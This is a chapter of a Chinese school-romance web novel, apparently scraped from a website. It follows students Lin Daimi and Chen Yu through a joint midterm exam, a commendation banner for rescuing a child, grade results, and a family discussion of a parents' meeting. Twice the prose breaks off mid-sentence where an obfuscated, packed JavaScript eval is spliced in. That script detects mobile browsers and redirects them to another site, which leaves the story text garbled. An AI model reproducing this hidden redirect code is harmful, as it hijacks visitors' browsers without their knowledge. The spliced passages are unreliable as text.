木木:我才不会自欺欺人,就算我考差了,我爸妈也不会怪我的,没那个必要。 格格:[羡慕] 丫丫:[羡慕] 这次考试是附中、一中、十中、五十一中、五十八中四校联考,学校很重视,连考场都在国庆节放假之前就已经布置好了,考试期间还不用上早自习,学生到达学校后直接进考场就行。 林黛蜜手里拎着一个茶叶蛋一个牛肉包子,林琳说陆知珩什么没吃就走了,一定把她早餐带给陆知珩,她想拒绝的,但又想起上次外卖的事情,心想还是借这个机会讲和吧,陆知珩已经好久都对她爱搭不理了。 她先是找到自己的考场,这才发现第三考场和第一考场很近,她走到陆知珩旁边,把早餐递过去,“给你。” “我吃过了。” “再说,林大小姐的早餐我可承受不起。” 林黛蜜就知道,她正想强塞到陆知珩手里,一回头发现陈喻站在自己的后面,于是她把袋子递给陈喻,“你要吃吗?”陈喻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958216|193227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能来考试,她还是有点惊讶的。 陈喻没接,“人家不要的就给我,林黛蜜,我在你眼里就这么不值钱吗?” 拜托,两位大哥,就吃个早餐有必要这样吗?一个个真把自己当回事,哼!都是一个品种的垃圾袋,这么能装。不吃拉倒,本姑娘自己吃。她三两下把茶叶蛋剥了个精光,然后一整个塞进嘴里,嚼的时候还不忘挑衅地看向眼前两位装货。 吃着吃着她感觉不太对劲,糟了,噎住了,蛋黄有些干,粘在喉咙口不上不下,她皱了皱眉,用力吞咽几下,却感觉卡得更紧了,她的脸色开始发红。 “喝水!”站在对面的两个男生异口同声喊道,两瓶打开盖子的一模一样矿泉水同时出现在她面前。 老天爷啊,这时候还让她做选择。老天爷还是对她不错的,这时杨雅茹朝她走过来,林黛蜜毫不犹豫抢过她手里的水,三两下地拧开盖子,猛灌了几口。 啊!活过来了。 一回头,林黛蜜发现两位装货的目光依旧放在她的身上,她不太自然地咳了一声,“咳,那个,不是我不要你们的水,只要是我这个人从小就喝惯了娃哈哈这个牌子的水,但你们俩的水都是农夫山泉,所以嘛就……” 第一天第一科考的当然是语文,语文试卷她感觉不出来难易,反正卷子发下来她就是库库一顿写,写到作文的时候,她这回没有着急下笔,她按照陈喻说的办法,在心里想象出两个小人,议论文嘛,当然要持有不同的意见,就这样她定好了整个大框架,下笔刷刷写起来,这感觉是比她原来那种挤牙膏式的办法好。 她正文思泉涌,余光一撇,发现自己的身边站了个监考老师,双手背在身后歪着头看她的作文。 林黛蜜立刻拿了一张试卷盖上。真不是她小气,她有个毛病,就是别人看着她写作文她会写不出来,虽然这个举动有些不礼貌,但任何人都不能耽误她写作文,到时候找这位老师说明一下好了。 这位老师林黛蜜知道,是隔壁九班的物理老师,经常和徐晓婕在一起聊什么阿莫西林……不对不对,应该是阿西莫夫,那还是偶然一次林黛蜜和杨雅茹去晚了,结果学生食堂没饭了她们便跑到楼上的教室餐厅,徐晓婕看到后请她们两个吃了顿教师餐。当时这位老师还打趣说,这么漂亮的小仙女你们班竟然有两个。 下午的数学试题还是比较有难度的,比如眼前这道立体几何的题目,本来绕一个弯子的这回绕了两个弯子,还有好几个选择题也杂糅了两到三个知识点进去。林黛蜜感觉这次大家的数学成绩应该都会有所下降。 算了,考完就不想了。她和孟一格商量好了考完就去吃校门口那家鸭血粉丝,两人先回教室收拾了一下,刚准备出发,就看到陈喻单手插兜进来,他看向林黛蜜,说,“胡波找你。” “我吗?”林黛蜜指了指自己,不太相信他的话,“我最近没犯错啊?” “你对同学使用冷暴力,怎么不算是一种错误呢?” 孟一格在一旁嘟囔:“活该,谁让你做对不起她的事儿。” 林黛蜜为自己辩解,“我没有冷暴力你,只是我还没有想好而已。”这是真的,她也不知道这回自己怎么这么轴,就是无法轻飘飘说出我原谅你了这几个字。 “行了知道了。”陈喻拉着她往外走,“胡波真的找你。” 被他拉着,林黛蜜只好回头喊,“一格我得去一会,你别饿肚子了先去吃啊。” “知道了。” 从教学楼出来,陈喻还在后面,林黛蜜回头疑惑道:“老师找的是我,你跟着干嘛?” 陈喻耸耸肩:“他也找我啊。” 林黛蜜:“真无语!” 35. 35 来到胡波办公室,敲门进去之后,陈喻就跟回了家似的,毫不见外地往沙发上一坐,林黛蜜没他那么脸皮厚,开口问道:“老师,您找我们有事?” 她心里想的是,不至于吧,她和陈喻吵架胡波都要管吗?那他管的未免也太宽了,他们家住在海边吗? 说来惭愧,她也是最近才知道,“你们家住在海边吗”这句话其实是在嫌弃别人多管闲事,想当初她站在讲台上,刘小溪这么问她的时候,她还傻傻地回答了自己家的地址,怪不得大家都在笑,她也真是太招笑了。 胡波板着脸:“把门关上!” 林黛蜜和陈喻对视一眼,眼中同样闪过疑惑,陈喻缓缓从黑色的皮沙发上站起来,走到门口,按着门把手将门轻轻阖上,然后走过来站在林黛蜜旁边,“到底怎么了波波?” 胡波盯着他们看了几秒,接着,毫无预兆地笑起来,他招手,“你俩过来一点,我给你们俩看个好东西。” “什么好东西啊?”林黛蜜两只手握在一起,没忍住凑上去,双眼放光,“是不是您当上校长的通知啊?”这是林黛蜜唯一能想到,会让胡波笑成这样的好东西。 陈喻见状,没忍住笑了下,天啊,她怎么会有这么跳脱的思维。 “那倒不是!”胡波说着,从办公桌下面拿出一个金黄色的,棍子一样的东西,“你们俩猜猜这是什么?” “是锦旗!”林黛蜜抢答道。 胡波:“这么聪明?” “不是聪明,这东西我妈妈有好几个,它没展开之前就是这样的。” “那你们再猜猜这是给谁的?” 陈喻没功夫陪着两人闹下去了,“波波,咱就别猜了,我俩还没吃饭呢。” “你这孩子就是心急。”胡波嘴里一边嘟囔着一边展开,“当当当当~看看这上面是谁的名字。” “陈喻,是给我们俩的。”林黛蜜兴奋得差点跳起来,“是上次我们救了落水孩子的那家人给的吗?” “那当然,来,你们俩一人拿一头,我拍个照纪念一下。” 陈喻双手插兜:“我不想拍,这有什么好拍的?” 他又不是多么有爱心的人,那天会救人不过就是出于人的本能罢了,要是真的因为一块锦旗就被划分为“好人”那个阵营,那他就失去了说“不”的权利,在他看来,类似于奖状、锦旗这类东西,确实是一种夸奖和鼓励,但也是一种枷锁。 胡波捏着下巴思忖片刻,把手机递给陈喻,“哦,也行,那你帮我们两个拍,要蹲下来拍成大长腿,记得使用美颜相机啊。” 陈喻:“凭什么?我也要拍。” 胡波:“你这人……真是无语。” “你们俩别争了,咱们都拍好不好,这又不要钱。” 找了个宽敞的地方,两人一人捏着一个角,看向镜头。 胡波将手机横着举在空中,“我问一下,你们俩之间那个位置是给二师兄留的吗?靠近一点啊,陈喻你这会突然装什么矜持?” 在胡波的催促下,两人别扭地向彼此靠近一步,肩膀和肩膀之间留了一个拳头的距离。 “陈喻你笑一笑,不知道的还以为你要拍遗照呢,”胡波连续按下快门,打趣他们两个,“怎么?还没和好?你们俩最好高考前一直保持这个状态啊。” 胡波就跟那半辈子没照过相一样,又拉着他们拍了许多单人的,双人的和三人的,十几分钟后才放他们出来。 从办公室出来,又是一路沉默,大概五分钟之后,两人同时开口。 “那个……” “那个……” “你先说。” “你先说” 陈喻弯了弯唇角,“你先说吧。” “那个,早上作文的那段材料说的就是做人就得难得糊涂对吧,我应该没有写背题吧。” 陈喻:“这就是你想对我说的话?” 林黛蜜:“对啊?有什么问题吗?” 他简直被气笑了,“没问题,一点问题都没有,今天这个议论文简直就是为你量身定做的,全校肯定没人比你写得更好。” “谢谢你的夸奖,不过肯定没你说得那么好。” 陈喻:“……” 这以后的日子怎么过啊,连个架都吵不明白,算了,以后只说夸奖的陈述句好了,她脑子里好像有个装置,就任何话进去之后都会被处理成它的字面意思,陈喻忍不住逗她,“林糖糖,语文考试的时候,你做题是不是特快?” 林黛蜜:“是啊,我写完后大概还有二十分钟考试才结束,不过你怎么知道?” 陈喻:“那你就没有想过为什么吗?” “因为我比别人写字速度快啊。” 陈喻:“……有道理。” 三天后,期中考试的全科成绩出来了。和上次的成绩差不多,杨雅茹是班级第一名,林黛蜜第二名,不过第三名换成了张雨倩。她的数学成绩是班级第一名还是年纪第二名,直接和后面的人拉开了差距,听说第一名是重点一班一个叫黄文长的学霸。 班会课上,胡波在上面说,孟源在下面说,他手里捏着成绩单,摇着头感慨道,“我喻哥升学考可是年纪第一名,你看看现在这成绩,就跟坐着滑滑梯一样,一路朝下啊,我真担心他哪天滑出这张名单。” 陈喻这次考了班级第二十一名,和上次比下降幅度很大,不过人家都是要出国的人,考成什么样并不重要,连胡波都没有说什么。 孟一格:“您多虑了啊,这张名单的最后不是还有你挡着嘛,” “懒得跟你说话”,孟源将目光往上挪说,“班长这数学成绩合理吗?你们说她是不是买了答案?” 孟一格继续回怼:“你个垫底王,承认别人优秀就这么难吗?” 林黛蜜没抬头,她忙着把错题誊写在错题本上,“怎么不合理,我每次路过她那边她都在做数学卷子,很明显这就是一分耕耘一分收获啊。” 杨雅茹语气有些凌厉:“就是,我觉得还是不要恶意揣测他人的好。” 有一种说法,也不知道是哪个大脑萎缩小脑痉挛的人提出来的,说是男孩子脑瓜聪明,就算小学初中不学习等高中“开窍了”就会一下子超过女生,那什么叫开窍呢?难道他们原来的七窍都被驴毛给堵住了吗?导致他们之前口不能说,耳不能听,眼不能视,鼻不能嗅?脖子上每天就支棱个大脑袋晃来晃去? 更可悲的是,就连学校里有些受过高等教育的老师都同意这样的说法,这凭空给很多又懒又笨的男生给了很多自信不说,还在心理上又给了女生施加了很多压力。 哦,男生突然考了好成绩就是开窍了,女生通过自己的努力取得了高分就是买了答案?这个世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962435|193227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 界文明的进步空间简直还有外太空那么大。 胡波接着又提了家长会的事情,就在本周六下午,开完之后学生和家长一块回去,他再三强调一个家长都不能少。 晚上回到家,林黛蜜一打开门就听见林韵在和客户打电话。 “是吗?那恭喜李总,孩子考的那么棒,真是虎父无犬子。” “我们家孩子也不错的……哪有,我也没怎么抓学习,就是孩子自己管自己。” “好的李总,那我们见面再详谈。” 林韵将电话挂断,轻轻叹了口气,这次参加联考的五所学校都是岚市很有实力的高中,正因为这样,本次的期中考试在全市范围内掀起了不小的一阵讨论,公交车、地铁、商场、咖啡厅,凡事有人的地方就有这个话题。这不,林韵的客户中也有不少参加联考的学生家长。 林黛蜜换了鞋走进来,她想起今天胡波宣布完要开家长会的时候,孟一格说她有一个“参照物”,那些特殊的人生节点,比如说升初中升高中会考考级联考这种时间点,她的妈妈总会把她拉出来和那个人比较一番,比赢了她妈妈会说我们一格这会就是瞎猫碰上死耗子了,比输了她妈妈会说,你看看人家怎么怎么样。 可林黛蜜知道,她的妈妈不会,林韵不会拿自己的孩子和别人去比,也不会在别人面前刻意矮化和贬低自己的孩子,就算对方是她的客户,她不会让自己的孩子有一丁点不舒服。 她走过去抱了抱林韵,说,“妈妈,你是世界上最好的妈妈,全世界我最爱你。” 林韵也抱紧女儿,低头捏了捏她粉红柔嫩的脸蛋,笑着说,“那妈妈得感谢你呀,因为你是我的孩子,我才能当世界上最好的妈妈呀。” 林黛蜜翘着嘴角笑了,爱大概就是,当你说爱一个人的时候,会得到那个人更多的爱;当你抱紧一个人的时候,那个人会将你抱得更紧;她想起冰心的那首诗。 /母亲啊/ /天上的风雨来了/ /鸟儿躲到它的巢里/ /心中的风雨来了/ /我只躲到你的怀里/ 这时,陆知珩拎着书包回来了,他看一眼窝在林韵怀里的妹妹,突然在想,自己上一次被这样抱着是什么时候,大概是上小学的时候吧。 见陆知珩回来,林韵抬头问道:“儿子,家长会是周六吗?” “嗯。” “那可不太好办了,这周六你爸爸要出差考察的。”陆维正出差一般是学校早就定好的,没有特别大的变动一般不能更改。 林黛蜜从林韵怀里起来,“我们班主任说一个都不能少的。” 一直没说话的陆知珩开口,“你去给林黛蜜开吧,我跟老师说明一下就成。” “我儿子真懂事,”林韵起身摸了摸他的头发,“妈妈会抽时间去见一见你老师的,主要这是妹妹转学后第一次开家长会,不去不好对吧。” “嗯!”依旧是毫无波澜的一个字。 林韵心里琢磨着,难道这个年纪的男孩子都这么惜字如金,这么高冷吗?有好多次她都想像抱女儿那样抱一抱儿子,可一触碰到他那不耐烦又嫌弃的眼神,林韵那点心思全歇了,她和陆维正谈过这个事情,陆维正说可能是孩子大了,对性别的意识比较敏感,俗话说女大避父,儿大避母,她一想也有道理,便没有再纠结这个。